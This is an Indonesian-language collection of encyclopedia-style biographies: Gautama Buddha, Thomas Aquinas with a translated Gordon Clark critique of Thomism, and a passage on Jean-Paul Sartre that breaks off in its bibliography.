Gautama Buddha dilahirkan dengan nama Siddhārtha Gautama (Sanskerta: Siddhattha Gotama; Pali: "keturunan Gotama yang tujuannya tercapai"), dia kemudian menjadi sang Buddha (secara harfiah: orang yang telah mencapai Penerangan Sempurna). Dia juga dikenal sebagai Shakyamuni ('orang bijak dari kaum Sakya') dan sebagai sang Tathagata. Siddhartha Gautama adalah guru spiritual dari wilayah timur laut India yang juga merupakan pendiri Agama Buddha[1] Ia secara mendasar dianggap oleh pemeluk Agama Buddha sebagai Buddha Agung (Sammāsambuddha) di masa sekarang. Waktu kelahiran dan kematiannya tidaklah pasti: sebagian besar sejarawan dari awal abad ke 20 memperkirakan kehidupannya antara tahun 563 SM sampai 483 SM; baru-baru ini, pada suatu simposium para ahli akan masalah ini,[2] sebagian besar dari ilmuwan yang menjelaskan pendapat memperkirakan tanggal berkisar antara 20 tahun antara tahun 400 SM untuk waktu meninggal dunianya, sedangkan yang lain menyokong perkiraan tanggal yang lebih awal atau waktu setelahnya. Siddhartha Gautama merupakan figur utama dalam agama Buddha, keterangan akan kehidupannya, khotbah-khotbah, dan peraturan keagamaan yang dipercayai oleh penganut agama Buddha dirangkum setelah kematiannya dan dihafalkan oleh para pengikutnya. Berbagai kumpulan perlengkapan pengajaran akan Siddhartha Gautama diberikan secara lisan, dan bentuk tulisan pertama kali dilakukan sekitar 400 tahun kemudian. Pelajar-pelajar dari negara Barat lebih condong untuk menerima biografi Sang Buddha yang dijelaskan dalam naskah Agama Buddha sebagai catatan sejarah, tetapi belakangan ini "keseganan pelajar negara Barat meningkat dalam memberikan pernyataan yang tidak sesuai mengenai fakta historis akan kehidupan dan pengajaran Sang Buddha."[3] Ayah dari Pangeran Siddhartha adalah Sri Baginda Raja Suddhodana dari Suku Sakya dan ibunya adalah Sri Ratu Mahā Māyā Dewi. Ibunda Ratu meninggal dunia tujuh hari setelah melahirkan Sang Pangeran. Setelah meninggal, beliau terlahir di alam Tusita, yaitu alam surga luhur. Sejak itu maka yang merawat Pangeran Siddharta adalah Mahā Pajāpati, bibinya yang juga menjadi isteri Raja Suddhodana. [sunting] Riwayat hidup Pangeran Siddharta dilahirkan pada tahun 623 SM di Taman Lumbini, saat Ratu Maha Maya berdiri memegang dahan pohon sal. Pada saat ia lahir, dua arus kecil jatuh dari langit, yang satu dingin sedangkan yang lainnya hangat. Arus tersebut membasuh tubuh Siddhartha. Siddhartha lahir dalam keadaan bersih tanpa noda, berdiri tegak dan langsung dapat melangkah ke arah utara, dan tempat yang dipijakinya ditumbuhi bunga teratai. Oleh para pertapa di bawah pimpinan Asita Kaladewala, diramalkan bahwa Sang Pangeran kelak akan menjadi seorang Chakrawartin (Maharaja Dunia) atau akan menjadi seorang Buddha. Hanya pertapa Kondañña yang dengan tegas meramalkan bahwa Sang Pangeran kelak akan menjadi Buddha. Mendengar ramalan tersebut Sri Baginda menjadi cemas, karena apabila Sang Pangeran menjadi Buddha, tidak ada yang akan mewarisi tahta kerajaannya. Oleh pertanyaan Sang Raja, para pertapa itu menjelaskan agar Sang Pangeran jangan sampai melihat empat macam peristiwa. Bila tidak, ia akan menjadi pertapa dan menjadi Buddha. Empat macam peristiwa itu adalah: Orang tua, Orang sakit, Orang mati, dan Seorang pertapa. Sejak kecil sudah terlihat bahwa Sang Pangeran adalah seorang anak yang cerdas dan sangat pandai, selalu dilayani oleh pelayan-pelayan dan dayang-dayang yang masih muda dan cantik rupawan di istana yang megah dan indah. Pada saat berusia 7 tahun, Pangeran Siddharta mempunyai 3 kolam bunga teratai, yaitu: Kolam Bunga Teratai Berwarna Biru (Uppala) Kolam Bunga Teratai Berwarna Merah (Paduma) Kolam Bunga Teratai Berwarna Putih (Pundarika) Dalam Usia 7 tahun Pangeran Siddharta telah mempelajari berbagai ilmu pengetahuan. Tetapi Pangeran Siddharta kurang berminat dengan pelajaran tersebut. Dalam usia 16 tahun Pangeran Siddharta menikah dengan Puteri Yasodhara yang dipersuntingnya setelah memenangkan berbagai sayembara. Dan saat berumur 16 tahun, Pangeran memiliki tiga Istana, yaitu: Istana Musim Dingin (Ramma) Istana Musim Panas (Suramma) Istana Musim Hujan (Subha) Pangeran Siddhartha melihat empat hal yang mengubah hidupnya. Kata-kata pertapa Asita membuat Raja Suddhodana tidak tenang siang dan malam, karena khawatir kalau putra tunggalnya akan meninggalkan istana dan menjadi pertapa, mengembara tanpa tempat tinggal. Untuk itu Baginda memilih banyak pelayan untuk merawat Pangeran Siddharta, agar putra tunggalnya menikmati hidup keduniawian. Segala bentuk penderitaan berusaha disingkirkan dari kehidupan Pangeran Siddharta, seperti sakit, umur tua, dan kematian, sehingga Pangeran hanya mengetahui kenikmatan duniawi. Suatu hari Pangeran Siddharta meminta ijin untuk berjalan di luar istana, dimana pada kesempatan yang berbeda dilihatnya "Empat Kondisi" yang sangat berarti, yaitu orang tua, orang sakit, orang mati dan orang suci. Pangeran Siddhartha bersedih dan menanyakan kepada dirinya sendiri, "Apa arti kehidupan ini, kalau semuanya akan menderita sakit, umur tua dan kematian. Lebih-lebih mereka yang minta pertolongan kepada orang yang tidak mengerti, yang sama-sama tidak tahu dan terikat dengan segala sesuatu yang sifatnya sementara ini!". Pangeran Siddharta berpikir bahwa hanya kehidupan suci yang akan memberikan semua jawaban tersebut. Selama 10 tahun lamanya Pangeran Siddharta hidup dalam kesenangan duniawi. Pergolakan batin Pangeran Siddharta berjalan terus sampai berusia 29 tahun, tepat pada saat putra tunggalnya Rahula lahir. Pada suatu malam, Pangeran Siddharta memutuskan untuk meninggalkan istananya dan dengan ditemani oleh kusirnya, Canna. Tekadnya telah bulat untuk melakukan Pelepasan Agung dengan menjalani hidup sebagai pertapa. Setelah itu Pangeran Siddhartha meninggalkan istana, keluarga, kemewahan, untuk pergi berguru mencari ilmu sejati yang dapat membebaskan manusia dari usia tua, sakit dan mati. Pertapa Siddharta berguru kepada Alāra Kālāma dan kemudian kepada Uddaka Ramāputra, tetapi tidak merasa puas karena tidak memperoleh yang diharapkannya. Kemudian beliau bertapa menyiksa diri dengan ditemani lima orang pertapa. Akhirnya beliau juga meninggalkan cara yang ekstrim itu dan bermeditasi di bawah pohon Bodhi untuk mendapatkan Penerangan Agung. Pangeram Siddharta mencukur rambutnya dan menjadi pertapa, relief Borobudur. Patung Buddha dari Gandhara, abad ke-1 atau abad ke-2. Didalam pengembaraannya, pertapa Gautama mempelajari latihan pertapaan dari pertapa Bhagava dan kemudian memperdalam cara bertapa dari dua pertapa lainnya, yaitu pertapa Alara Kalama dan pertapa Udraka Ramputra. Namun setelah mempelajari cara bertapa dari kedua gurunya tersebut, tetap belum ditemukan jawaban yang diinginkannya. Sehingga sadarlah pertapa Gautama bahwa dengan cara bertapa seperti itu tidak akan mencapai Pencerahan Sempurna. Kemudian pertapa Gautama meninggalkan kedua gurunya dan pergi ke Magadha untuk melaksanakan bertapa menyiksa diri di hutan Uruwela, di tepi Sungai Nairanjana yang mengalir dekat Hutan Gaya. Walaupun telah melakukan bertapa menyiksa diri selama enam tahun di Hutan Uruwela, tetap pertapa Gautama belum juga dapat memahami hakekat dan tujuan dari hasil pertapaan yang dilakukan tersebut. Pada suatu hari pertapa Gautama dalam pertapaannya mendengar seorang tua sedang menasehati anaknya di atas perahu yang melintasi sungai Nairanjana dengan mengatakan: “ Bila senar kecapi ini dikencangkan, suaranya akan semakin tinggi. Kalau terlalu dikencangkan, putuslah senar kecapi ini, dan lenyaplah suara kecapi itu. Bila senar kecapi ini dikendorkan, suaranya akan semakin merendah. Kalau terlalu dikendorkan, maka lenyaplah suara kecapi itu. ” Nasehat tersebut sangat berarti bagi pertapa Gautama yang akhirnya memutuskan untuk menghentikan tapanya lalu pergi ke sungai untuk mandi. Badannya yang telah tinggal tulang hampir tidak sanggup untuk menopang tubuh pertapa Gautama. Seorang wanita bernama Sujata memberi pertapa Gautama semangkuk susu. Badannya dirasakannya sangat lemah dan maut hampir saja merenggut jiwanya, namun dengan kemauan yang keras membaja, pertapa Gautama melanjutkan samadhinya di bawah pohon bodhi (Asetta) di Hutan Gaya, sambil ber-prasetya, "Meskipun darahku mengering, dagingku membusuk, tulang belulang jatuh berserakan, tetapi aku tidak akan meninggalkan tempat ini sampai aku mencapai Pencerahan Sempurna." Perasaan bimbang dan ragu melanda diri pertapa Gautama, hampir saja Beliau putus asa menghadapi godaan Mara, setan penggoda yang dahsyat. Dengan kemauan yang keras membaja dan dengan iman yang teguh kukuh, akhirnya godaan Mara dapat dilawan dan ditaklukkannya. Hal ini terjadi ketika bintang pagi memperlihatkan dirinya di ufuk timur. Pertapa Gautama telah mencapai Pencerahan Sempurna dan menjadi Samyaksam-Buddha (Sammasam-Buddha), tepat pada saat bulan Purnama Raya di bulan Waisak ketika ia berusia 35 tahun (menurut versi Buddhisme Mahayana, 531 SM pada hari ke-8 bulan ke-12, menurut kalender lunar. Versi WFB, pada bulan Mei tahun 588 SM). Pada saat mencapai Pencerahan Sempurna, dari tubuh Sang Siddharta memancar enam sinar Buddha (Buddharasmi) dengan warna biru yang berarti bhakti; kuning mengandung arti kebijaksanaan dan pengetahuan; merah yang berarti kasih sayang dan belas kasih; putih mengandung arti suci; jingga berarti giat; dan campuran kelima sinar tersebut. [sunting] Penyebaran ajaran Buddha Sang Buddha memberi pelajaran tentang dharma kepada lima pertapa di Taman Rusa Setelah mencapai Pencerahan Sempurna, pertapa Gautama mendapat gelar kesempurnaan yang antara lain: Buddha Gautama, Buddha Shakyamuni, Tathagata ('Ia Yang Telah Datang', Ia Yang Telah Pergi'), Sugata ('Yang Maha Tahu'), Bhagava ('Yang Agung') dan sebagainya. Lima pertapa yang mendampingi Beliau di hutan Uruwela merupakan murid pertama Sang Buddha yang mendengarkan khotbah pertama Dhammacakka Pavattana, dimana Beliau menjelaskan mengenai Jalan Tengah yang ditemukan-Nya, yaitu Delapan Ruas Jalan Kemuliaan termasuk awal khotbahNya yang menjelaskan "Empat Kebenaran Mulia". Buddha Gautama berkelana menyebarkan Dharma selama empat puluh lima tahun lamanya kepada umat manusia dengan penuh cinta kasih dan kasih sayang, hingga akhirnya mencapai usia 80 tahun, saat ia menyadari bahwa tiga bulan lagi ia akan mencapai Parinibbana. Sang Buddha dalam keadaan sakit terbaring di antara dua pohon sala di Kusinagara, memberikan khotbah Dharma terakhir kepada siswa-siswa-Nya, lalu Parinibbana (versi Buddhisme Mahayana, 486 SM pada hari ke-15 bulan ke-2 kalender Lunar. Versi WFB pada bulan Mei, 543 SM). [sunting] Sifat Agung Sang Buddha Sang Buddha menjelang Parinirwana. Seorang Buddha memiliki sifat Cinta Kasih (maitri atau metta) dan Kasih Sayang (karuna). Cinta Kasih dan Kasih Sayang seorang Buddha tidak terbatas oleh waktu dan selalu abadi, karena telah ada dan memancar sejak manusia pertama kalinya terlahir dalam lingkaran hidup roda samsara yang disebabkan oleh ketidaktahuan atau kebodohan batinnya. Jalan untuk mencapai Kebuddhaan ialah dengan melenyapkan ketidaktahuan atau kebodohan batin yang dimiliki oleh manusia. Pada waktu Pangeran Siddharta meninggalkan kehidupan duniawi, ia telah mengikrarkan Empat Prasetya yang berdasarkan Cinta Kasih dan Kasih Sayang yang tidak terbatas, yaitu : Berusaha menolong semua makhluk. Menolak semua keinginan nafsu keduniawian. Mempelajari, menghayati dan mengamalkan Dharma. Berusaha mencapai Pencerahan Sempurna. Buddha Gautama pertama melatih diri untuk melaksanakan amal kebajikan kepada semua makhluk dengan menghindarkan diri dari sepuluh tindakan yang diakibatkan oleh tubuh, ucapan dan pikiran, yaitu Tubuh (kaya): pembunuhan, pencurian, perbuatan jinah. Ucapan (vak): penipuan, pembicaraan fitnah, pengucapan kasar, percakapan tiada manfaat. Pikiran (citta): kemelekatan, niat buruk dan kepercayaan yang salah. Cinta kasih dan kasih sayang seorang Buddha adalah cinta kasih untuk kebahagiaan semua makhluk seperti orang tua mencintai anak-anaknya, dan mengharapkan berkah tertinggi terlimpah kepada mereka. Akan tetapi terhadap mereka yang menderita sangat berat atau dalam keadaan batin gelap, Sang Buddha akan memberikan perhatian khusus. Dengan Kasih Sayang-Nya, Sang Buddha menganjurkan supaya mereka berjalan di atas jalan yang benar dan mereka akan dibimbing dalam melawan kejahatan, hingga tercapai "Pencerahan Sempurna". Sebagai Buddha yang abadi, Beliau telah mengenal semua orang dan dengan menggunakan berbagai cara Beliau telah berusaha untuk meringankan penderitaan semua makhluk. Buddha Gautama mengetahui sepenuhnya hakekat dunia, namun Beliau tidak pernah mau mengatakan bahwa dunia ini asli atau palsu, baik atau buruk. Ia hanya menunjukkan tentang keadaan dunia sebagaimana adanya. Buddha Gautama mengajarkan agar setiap orang memelihara akar kebijaksanaan sesuai dengan watak, perbuatan dan kepercayaan masing-masing. Ia tidak saja mengajarkan melalui ucapan, akan tetapi juga melalui perbuatan. Meskipun bentuk fisik tubuh-Nya tidak ada akhirnya, namun dalam mengajar umat manusia yang mendambakan hidup abadi, Beliau menggunakan jalan pembebasan dari kelahiran dan kematian untuk membangunkan perhatian mereka. Pengabdian Buddha Gautama telah membuat diri-Nya mampu mengatasi berbagai masalah didalam berbagai kesempatan yang pada hakekatnya adalah Dharma-kaya, yang merupakan keadaan sebenarnya dari hakekat yang hakiki dari seorang Buddha. Sang Buddha adalah pelambang dari kesucian, yang tersuci dari semua yang suci. Karena itu, Sang Buddha adalah Raja Dharma yang agung. Ia dapat berkhotbah kepada semua orang, kapanpun dikehendaki-Nya. Sang Buddha mengkhotbahkan Dharma, akan tetapi sering terdapat telinga orang yang bodoh karena keserakahannya dan kebenciannya, tidak mau memperhatikan dan mendengarkan khotbah-Nya. Bagi mereka yang mendengarkan khotbah-Nya, yang dapat mengerti dan menghayati serta mengamalkan Sifat Agung Sang Buddha akan terbebas dari penderitaan hidup. Mereka tidak akan dapat tertolong hanya karena mengandalkan kepintarannya sendiri. Buddha tidak hanya dapat diketahui dengan hanya melihat wujud dan sifat-Nya semata-mata, karena wujud dan sifat luar tersebut bukanlah Buddha yang sejati. Jalan yang benar untuk mengetahui Buddha adalah dengan jalan mencapai Pencerahan Sempurna. Buddha sejati tidak dapat dilihat oleh mata manusia biasa, sehingga Sifat Agung seorang Buddha tidak dapat dilukiskan dengan kata-kata. Namun Buddha dapat mewujudkan diri-Nya dalam segala bentuk dengan sifat yang serba luhur. Apabila seseorang dapat melihat jelas wujud-Nya atau mengerti Sifat Agung Buddha, namun tidak tertarik kepada wujud-Nya atau sifat-Nya, dialah yang sesungguhnya yang telah mempunyai kebijaksanaan untuk melihat dan mengetahui Buddha dengan benar.

Thomas Aquinas

Thomas Aquinas (1225, Aquino, Italia – Fossanova, Italia, 7 Maret 1274), kadangkala juga disebut Thomas dari Aquino (bahasa Italia: Tommaso d’Aquino) adalah seorang filsuf dan ahli teologi ternama dari Italia. Ia terutama menjadi terkenal karena dapat membuat sintesis dari filsafat Aristoteles dan ajaran Gereja Kristen. Sintesisnya ini termuat dalam karya utamanya: Summa Theologiae (1273). Ia disebut sebagai "Ahli teologi utama orang Kristen." Bahkan ia dianggap sebagai orang suci oleh Gereja Katholik dan memiliki gelar santo. Kehidupan Thomas Aquinas Aquinas merupakan teolog skolastik yang terbesar. Ia adalah murid Albertus Magnus. Albertus mengajarkan kepadanya filsafat Aristoteles sehingga ia sangat mahir dalam filsafat itu. Pandangan-pandangan filsafat Aristoteles diselaraskannya dengan pandangan-pandangan Alkitab. Ialah yang sangat berhasil menyelaraskan keduanya sehingga filsafat Aristoteles tidak menjadi unsur yang berbahaya bagi iman Kristen. Pada tahun 1879, ajaran-ajarannya dijadikan sebagai ajaran yang sah dalam Gereja Katolik Roma oleh Paus Leo XIII. Thomas dilahirkan di Roccasecca, dekat Aquino, Italia, tahun 1225. Ayahnya ialah Pangeran Landulf dari Aquino. Orang tuanya adalah orang Kristen Katolik yang saleh. Itulah sebabnya anaknya, Thomas, pada umur lima tahun diserahkan ke biara Benedictus di Monte Cassino untuk dibina agar kelak menjadi seorang biarawan. Setelah sepuluh tahun Thomas berada di Monte Cassino, ia dipindahkan ke Naples untuk menyelesaikan pendidikan bahasanya. Selama di sana, ia mulai tertarik kepada pekerjaan kerasulan gereja, dan ia berusaha untuk pindah ke Ordo Dominikan, suatu ordo yang sangat berperanan pada abad itu. Keinginannya tidak direstui oleh orang tuanya sehingga ia harus tinggal di Roccasecca setahun lebih lamanya. Namun, tekadnya sudah bulat sehingga orang tuanya menyerah kepada keinginan anaknya. Pada tahun 1245, Thomas resmi menjadi anggota Ordo Dominikan. Sebagai anggota Ordo Dominikan, Thomas dikirim belajar pada Universitas Paris, sebuah universitas yang sangat terkemuka pada masa itu. Ia belajar di sana selama tiga tahun (1245 -- 1248). Di sinilah ia berkenalan dengan Albertus Magnus yang memperkenalkan filsafat Aristoteles kepadanya. Ia menemani Albertus Magnus memberikan kuliah di Studium Generale di Cologne, Perancis, pada tahun 1248 - 1252. Pada tahun 1252, ia kembali ke Paris dan mulai memberi kuliah Biblika (1252-1254) dan Sentences, karangan Petrus Abelardus (1254-1256) di Konven St. Jacques, Paris. Kecakapan Thomas sangat terkenal sehingga ia ditugaskan untuk memberikan kuliah-kuliah dalam bidang filsafat dan teologia di beberapa kota di Italia, seperti di Anagni, Orvieto, Roma, dan Viterbo, selama sepuluh tahun lamanya. Pada tahun 1269, Thomas dipanggil kembali ke Paris. Ia hanya tiga tahun berada di sana karena pada tahun 1272 ia ditugaskan untuk membuka sebuah sekolah Dominikan di Naples. Dalam perjalanan menuju ke Konsili Lyons, tiba-tiba Thomas sakit dan meninggal di biara Fossanuova, 7 Maret 1274. Paus Yohanes XXII mengangkat Thomas sebagai orang kudus pada tahun 1323. Ajaran Thomas Aquinas Thomas mengajarkan Allah sebagai "ada yang tak terbatas" (ipsum esse subsistens). Allah adalah "dzat yang tertinggi", yang memunyai keadaan yang paling tinggi. Allah adalah penggerak yang tidak bergerak. Tampak sekali pengaruh filsafat Aristoteles dalam pandangannya. Dunia ini dan hidup manusia terbagi atas dua tingkat, yaitu tingkat adikodrati dan kodrati, tingkat atas dan bawah. Tingkat bawah (kodrati) hanya dapat dipahami dengan mempergunakan akal. Hidup kodrati ini kurang sempurna dan ia bisa menjadi sempurna kalau disempurnakan oleh hidup rahmat (adikodrati). "Tabiat kodrati bukan ditiadakan, melainkan disempurnakan oleh rahmat," demikian kata Thomas Aquinas. Mengenai manusia, Thomas mengajarkan bahwa pada mulanya manusia memunyai hidup kodrati yang sempurna dan diberi rahmat Allah. Ketika manusia jatuh ke dalam dosa, rahmat Allah (rahmat adikodrati) itu hilang dan tabiat kodrati manusia menjadi kurang sempurna. Manusia tidak dapat lagi memenuhi hukum kasih tanpa bantuan rahmat adikodrati. Rahmat adikodrati itu ditawarkan kepada manusia lewat gereja. Dengan bantuan rahmat adikodrati itu manusia dikuatkan untuk mengerjakan keselamatannya dan memungkinkan manusia dimenangkan oleh Kristus. Mengenai sakramen, ia berpendapat bahwa terdapat tujuh sakramen yang diperintahkan oleh Kristus, dan sakramen yang terpenting adalah Ekaristi (sacramentum sacramentorum). Rahmat adikodrati itu disalurkan kepada orang percaya lewat sakramen. Dengan menerima sakramen, orang mulai berjalan menuju kepada suatu kehidupan yang baru dan melakukan perbuatan-perbuatan baik yang menjadikan ia berkenan kepada Allah. Dengan demikian, rahmat adikodrati sangat penting karena manusia tidak bisa berbuat apa-apa yang baik tanpa rahmat yang dikaruniakan oleh Allah. Gereja dipandangnya sebagai lembaga keselamatan yang tidak dapat berbuat salah dalam ajarannya. Paus memiliki kuasa yang tertinggi dalam gereja dan Pauslah satu-satunya pengajar yang tertinggi dalam gereja. Karya teologis Thomas yang sangat terkenal adalah "Summa Contra Gentiles" dan "Summa Theologia". Salah satu filsuf Kristen yang mengkritik pemikiran Thomas Aquinas adalah Gordon H. Clark. Bukunya "God's Hammer" halaman 67 sampai 71 berisi kritikan beliau terhadap Thomas. Terjemahan bebas saya "Dalam sejarah pemikiran Kristen, antithesis antara iman dan reason (akal budi) telah didekati dengan berbagai metode. Perdebatan antara sesama Kristen dan antara Kristen dengan kaum sekuler kadang-kadang mengakibatkan kebingungan karena istilah yang dipakai tidak selalu didefinisikan dengan jelas. Bukan hanya Agustinus dan Kant memiliki pandangan yang berbeda tentang natur iman, namun istilah akal budi (reason) sendiri menandung arti yang bermacam-macam. Setelah memberikan gambaran singkat tentang latar belakang historis, penulis berharap menghindari kebingungan seperti itu dengan mengemukakan definisi akal budi (reason) yang mungkin membantu pembelaan terhadap wahyu sebagai sesuatu yang rasional Upaya Skolastik Abad Pertengahan Dalam gambaran historis singkat ini, metode untuk menghubungkan iman dan rasio yang pertama dibahas adalah filsafat Thomistik Gereja Roma Katolik. Selain persetujuan (assent) pribadi orang percaya, dalam system ini iman artinya informasi yang diwahyukan yang ada dalam Alkitab, tradisi, dan suara hidup dari gereja Roma. Akal budi artinya informasi yang dapat diperoleh melalui pengamatan inderawi terhadap alam dan diinterpretasi intelek. Rasionalis abad ketujuhbelas membedakan akal budi (reason) dengan sensasi [inderawi], Thomas membedakan akal budi (reason) dan wahyu. Kebenaran akal budi adalah kebenaran yang dapat diperoleh melalui kemampuan indera dan intelek alamiah manusia tanpa bantuan anugerah supranatural. Definisi iman dan akal budi ini mengakibatkan wahyu hanya “tidak masuk akal” (unreasonable) secara verbal; wahyu tidak dapat disebut tidak masuk akal atau irasional dalam pengertian yang merendahkan. Kadang-kadang kita curiga kaum sekuler menggunakan verbalisme untuk memberikan kesan yang menakutkan. Thomisme memang menekankan ketiadaan kompatibilitas antara iman dan rasio, namun ketiadaan kompatibilitas itu bersifat psikologis semata. Kalau Alkitab menwahyukan bahwa Allah ada dan kita percaya Alkitab, maka kita memiliki kebenaran iman. Namun demikian, menurut Thomisme adalah memungkinkan untuk mendemonstrasikan keberadaan Allah melalui pengamatan terhadap alam. Aristotle berhasil melakukannya. Namun kalau seseorang telah secara rasional mendemonstrasikan proposisi ini, orang itu tidak lagi “percaya”, dia tidak lagi menerima proposisi itu berdasarkan otoritas; dia “mengetahui” proposisi itu. Secara psikologis tidak mungkin pada saat yang sama “percaya” dan “mengetahui” satu proposisi. Seorang guru mungkin memberitahu siswanya bahwa segitiga memiliki 180o dan sang siswa percaya perkataan sang guru; namun setelah si siswa mempelajari buktinya, maka dia tidak lagi menerima teorema berdasarkan kata-kata guru. Si siswa sudah mengetahui sendiri. Tidak semua proposisi wahyu dapat didemonstrasikan dengan filsafat rasional; tetapi ada kebenaran-kebenaran yang dapat didemonstrasikan yang juga telah diwahyukan kepada manusia, karena Allah tahu bahwa tidak semua orang memiliki kemampuan intelektual seperti Aristotle; karena itu Allah mewahyukan beberapa kebenaran itu, walaupun dapat didemonstrasikan, demi kebanyakan umat manusia. Muatan (content) wahyu yang tidak dapat didemonstrasikan (seperti doktrin Trinitas dan sakramen), walaupun berada di luar jangkauan akal budi seperti definisi di atas, tidaklah irasional atau nonsensical. Kaum Muhammadean (Islam) Abad Pertengahan dan kaum humanis modern dapat saja mengklaim bahwa doktrin Trinitas tidak rasional, namun akal budi cukup mampu untuk mendemonstrasikan bahwa keberatan yang dikemukakan keliru/salah (fallacious). Kebenaran iman yang lebih tinggi tidak bertentangan dengan kesimpulan akal budi manapun; sebaliknya doktrin wahyu melengkapi apa yang tidak dapat dicapai oleh akal budi. Kedua rangkaian kebenaran ini, atau lebih tepatnya kebenaran yang diperoleh dari dua metode berbeda ini saling melengkapi. Bukannya menjadi penghalang bagi akal budi, iman berfungsi memberi peringatan kepada seorang pemikir bahwa dia melakukan kesalahan. Kita tidak boleh memandang seorang percaya sebagai seorang yang harus dibebaskan dari penjara imannya; iman hanya membatasi dari kesalahan. Dengan demikian iman dan akal budi serasi satu dengan yang lain. Hanya satu kritik yang akan penulis kemukakan tentang sistem ini, tetapi kritik ini dipandang sangat penting oleh kaum Thomist dan penentangnya. Kalau argumune kosmologis bagi keberadaan Allah merupakan kesalahan logika, maka Thomisme dan pandangannya tentang hubungan antara iman dan akal budi tidak dapat dipertahankan . Kesulitan yang dialami argumen kosmologis adalah ketidakmemadaian wahyu umum seperti dibahas sebelumnya. Kalau diasumsikan bahwa semua pengetahuan (knowledge) dimulai dengan pengalaman inderawi dan karena itu pada saat orang memandang alam tanpa pengetahuan tentang Allah, maka segala kemalangan (calamities) manusia dan keterbatasan serta perubahan di alam semesta – seberapapun luasnya galaksi-galaksi yang ada – menghalangi kesimpulan tentang satu pribadi Allah yang Mahakuasa dan juga Baik. Terhadap keberatan-keberatan ini, yang dikemukakan dengan tajam oleh David Hume, dapat ditambahkan kritik khusus formulasi Aristotelian Thomas Aquinas. Tiga keberatan akan dikemukakan. Pertama, Thomisme tidak dapat bertahan tanpa konsep potentialitas (potentiality) dan aktualitas (actuality), namun Aristotle tidak pernah berhasil mendefinisikannya. Sebaliknya dia [Aristotle] mengilustrasikannya dengan perubahan fenomena lalu mendefinisikan perubahan atau gerak (motion) dalam hal aktualitas (actuality) dan potentialitas (potentiality). Untuk memberikan justifikasi terhadap keberatan ini, diperlukan terlalu banyak apparatus teknis yang tidak bisa diakomodasi dalam tulisan ini. Dan kalau pembaca menghendaki, dia tidak perlu memberi penekakan pada keberatan pertama. Kedua, Thomas berargumentasi bahwa kalau kita melacak penyebab gerak (motion), kita tidak dapat meneruskan berjalan mundur tanpa batas. Alasan yang secara eksplisit diberikan dalam Summa Theologica untuk menyangkali hal itu adalah kalau hal itu terjadi maka tidak akan ada Penggerak/Penyebab Pertama (First Mover). Namun alasan yang digunakan sebagai premis ini jugalah yang digunakan sebagai kesimpulan di akhir argumen. Argumen ini dimaksudkan untuk membuktikan keberadaan First Mover, namun First Mover ini diasumsikan dulu sebagai sesuatu yang ada untuk menolak infinite regress (mundur tidak terbatas). Karena itu jelas argumen ini adalah sebuah kekeliruan (fallacy). Alasan ketiga yang akan kita bahas lebih rumit. Namun karena terkait dengan hal yang banyak diperdebatkan saat ini, maka pantas diberikan perhatian lebih. Bagi Thomas Aquinas, ada dua cara mengenal Allah. Pertama melalui teologi negative. Hal itu tidak akan kita bahas di sini. Kedua melalui metode analogi. Karena Allah adalah pure being, tanpa bagian, yang esensiNya identik dengan keberadaanNya, maka istilah-istilah yang diterapkan pada Allah tidak dapat digunakan tepat dengan cara yang sama dengan pada saat diterapkan pada ciptaan. Kalau dikatakan bahwa seorang manusia bijaksana dan Allah bijaksana, harus diingat bahwa kebijaksanaan manusia adalah kebijaksanaan yang diperoleh/dipelajari, sementara itu Allah tidak pernah belajar. Pikiran manusia tunduk kepada kebenaran; kebenaran adalah pimpinannya. Namun pikiran Allah adalah penyebab kebenaran karena Allah memikirkannya, atau mungkin lebih baik diformulasikan, Allah adalah kebenaran. Karena itu istilah pikiran tidak memiliki arti yang tepat sama pada manusia dan pada Allah. Hal ini tidak hanya berlaku untuk istilah-istilah di atas, tetapi juga pada gagasan tentang eksistensi. Karena keberadaan Allah adalah esensiNya – identitas yang tidak dapat diduplikasikan- maka bahkan kata keberadaan (existence) tidak berlaku sama (univocal) pada Allah dan pada ciptaan. Pada saat yang sama, Thomas tidak mengakui bahwa istilah-istilah itu juga memiliki arti berbeda sama sekali (equivocal). Pada saat dikatakan bahwa playboys lead fast lives, while ascetics fast, kata [fast] dalam kedua anak kalimat itu tidak memiliki arti yang sama. Walaupun huruf-huruf dan pengucapannya sama, kandungan intelektual dalam kedua anak kalimat itu berbeda sama sekali. Thomas memilih jalan tengah antara perbedaan makna (equivocation) dan kesatuan makna ketat (strict univocity) dengan mengatakan bahwa kata-kata bisa digunakan secara analogis; dan dalam hal Allah dan manusia, predikat yang digunakan diterapkan secara analogis. Jika makna analogis dari bijaksana atau keberadaan memiliki bidang arti yang sama [bagi manusia dan Allah], maka bidang arti ini pasti dapat dikemukakan dengan menggunakan satu istilah yang berlaku untuk keduanya. Istilah ini dapat digunakan untuk Allah dan untuk manusia. Namun Thomas menekankan bahwa tidak ada istilah yang dapat diterapkan demikian. Implikasinya adalah semua sisa kemungkinan makna identik di antara keadaan terhapus. Namun kalau memang demikian adanya, bagaimanasebuah argument – argument kosmologis – secara formal syah kalau premis menggunakan satu istilah dengan pengertian tertentu dan dalam kesimpulannya menggunakan istilah yang sama dengan arti yang berbeda sama sekali? Premis argument kosmologis berbicara tentang eksistensi penggerak/penyebab (mover) dalam kisaran pengalaman manusia; kesimpulannya terkait dengan keberadaan Penggerak/Penyebab Pertama. Namun, jika istilah ini tidak dapat dipahami dengan pengertian yang sama, maka argument tersebut keliru/salah (fallacious). Karena itu, upaya untuk secara Thomistik menghubungkan iman dan akal budi gagal – lebih karena pandangannya tentang akal budi dari pada terhadap iman-; perlu ada upaya lain untuk membela rasionalitas wahyu.

ean-Paul Sartre

ean-Paul Sartre (lahir di Paris, Perancis, 21 Juni 1905 – meninggal di Paris, 15 April 1980 pada umur 74 tahun) adalah seorang filsuf dan penulis Perancis. Ialah yang dianggap mengembangkan aliran eksistensialisme.Sartre menyatakan, eksistensi lebih dulu ada dibanding esensi (L'existence précède l'essence). Manusia tidak memiliki apa-apa saat dilahirkan dan selama hidupnya ia tidak lebih hasil kalkulasi dari komitmen-komitmennya di masa lalu. Karena itu, menurut Sartre selanjutnya, satu-satunya landasan nilai adalah kebebasan manusia (L'homme est condamné à être libre). Pada tahun 1964 ia diberi Hadiah Nobel Sastra, namun Jean-Paul Sartre menolak. Ia meninggal dunia pada 15 April 1980 di sebuah rumah sakit di Broussais (Paris). Upacara pemakamannya dihadiri kurang lebih 50.000 orang. Pasangannya adalah seorang filsuf wanita bernama Simone de Beauvoir. Sartre banyak meninggalkan karya penulisan diantaranya berjudul Being and Nothingness atau Ada dan Ketiadaan. Bibliografi 1936 - L'Imagination 1937 - La Transcendance de l'Ego 1938 - La Nausée 1939 - Le Mur 1940 - 